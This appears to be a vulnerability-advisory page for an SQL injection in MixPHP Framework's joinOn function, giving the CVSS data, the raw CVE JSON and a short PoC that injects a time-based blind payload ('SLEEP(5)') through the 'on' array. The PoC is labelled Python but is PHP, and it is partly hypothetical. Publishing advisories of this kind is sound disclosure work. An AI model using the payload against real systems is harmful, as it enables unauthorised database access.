Security Vulnerability Report
中文
CVE-2026-42475 CVSS 6.5 MEDIUM

CVE-2026-42475

Published: 2026-05-01 16:16:32
Last Modified: 2026-05-07 15:53:50

Description

SQL injection vulnerability in MixPHP Framework 2.x thru 2.2.17 via crafted `on` array to the joinOn function in BuildHelper.php.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

MixPHP Framework 2.x - 2.2.17

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php // PoC for CVE-2026-42475: MixPHP Framework SQL Injection // Vulnerability: joinOn function in BuildHelper.php does not sanitize the 'on' array. // Payload to trigger SQL Injection (Time-based blind example) $payload = [ "table1.id = table2.id AND (SELECT SLEEP(5))-- " ]; // Hypothetical usage in a vulnerable application $db = new Mix\Database\Database(...); $query = $db->table('table1')->joinOn('table2', $payload); $result = $query->get(); // If response takes > 5 seconds, vulnerability is confirmed. ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42475", "sourceIdentifier": "[email protected]", "published": "2026-05-01T16:16:31.930", "lastModified": "2026-05-07T15:53:49.717", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "SQL injection vulnerability in MixPHP Framework 2.x thru 2.2.17 via crafted `on` array to the joinOn function in BuildHelper.php."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://gist.github.com/sgInnora/fa46386840fe978a30d7e53c458f2975", "source": "[email protected]"}, {"url": "https://github.com/mix-php/mix", "source": "[email protected]"}, {"url": "https://github.com/mix-php/mix/blob/v2.2.17/src/database/src/Helper/BuildHelper.php", "source": "[email protected]"}]}}